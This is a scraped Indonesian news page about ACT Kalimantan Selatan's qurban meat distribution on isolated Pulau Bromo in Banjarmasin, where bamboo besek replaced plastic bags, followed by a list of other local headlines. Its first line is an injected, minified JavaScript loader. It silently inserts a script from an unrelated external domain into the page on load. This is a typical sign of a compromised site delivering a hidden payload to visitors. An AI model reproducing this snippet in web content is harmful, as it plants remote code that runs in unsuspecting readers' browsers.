(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
ACT KALSEL

Daging Global Qurban-ACT Kalsel Sampai ke Pulau Bromo, Besek Jadi Pengganti Kantong Plastik


BANJARMASIN, Kebahagiaan warga Pulau Bromo merekah saat daging kurban mulai dipotong. Pemotongan daging kurban tersebut merupakan bagian dari rangkaian program Dermawan Berqurban dari Global Qurban-Aksi Cepat Tanggap (ACT) Kalimantan Selatan bekerjasama dengan Pemerintah Kota Banjarmasin. Penyembelihan dan pemotongan dilaksanakan  Minggu (11/8) di depan Mesjid Byna Taqwa, Kelurahan Mantuil, Banjarmasin. Warga sekitar melakukan penyembelihan hingga pembagian daging secara gotong royong.

Daging kurban didistribusikan dengan wadah besek dari bambu sebagai pengganti kantong plastik. Besek tersebut dinilai lebih ramah lingkungan.

Fathurrahman, anggota Tagana Dinas Sosial Kota Banjarmasin, total hewan kurban yang disembelih berjumlah 2 ekor sapi dan 4 ekor kambing. Proses penyembelihan hingga distribusi dibantu oleh warga sekitar.

“Kami menyembelih dibantu oleh relawan MRI ACT Kalsel dan TNI ikut membantu. Yang susah itu jalan ke sini gak ada soalnya daerah terisolir, walaupun masih dalam wilayah kota Banjarmasin. Jadi hewan kurban harus naik kapal ferry dulu untuk menyeberang kesini,” tutur Fathur.

Antusias masyarakat membantu pelaksanaan juga mewarnai kegiatan dermawan berkurban tahun ini. Hal ini diungkapkan Atap, salah satu warga yang tinggal di pulau Bromo. Selain merasa bahagia, ia juga mengharapkan bahwa kegiatan serupa bisa dilaksanakan setiap tahun. “Bagus sekali, akhirnya kampung jadi ramai, sudah bertahun-tahun kampung kami tidak dapat kurban seperti ini,” ungkapnya.

Penanggung jawab program ACT Kalsel, Muhammad Budi Rahman mengatakan, dipilihnya Pulau Bromo sebagai target sasaran, selain sudah bertahun-tahun warga pulau Bromo tidak mendapatkan daging kurban, saat ini juga sedang dilanda bencana krisis air bersih. “Masyarakat sekitar hanya makan daging apabila ada acara tertentu. Terlebih saat ini beberapa sumber air sudah mulai asin. Semoga hangatnya daging kurban jadi pelipur lara untuk mereka,” ucapnya. (act)

Reporter : act
Editor : bie

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.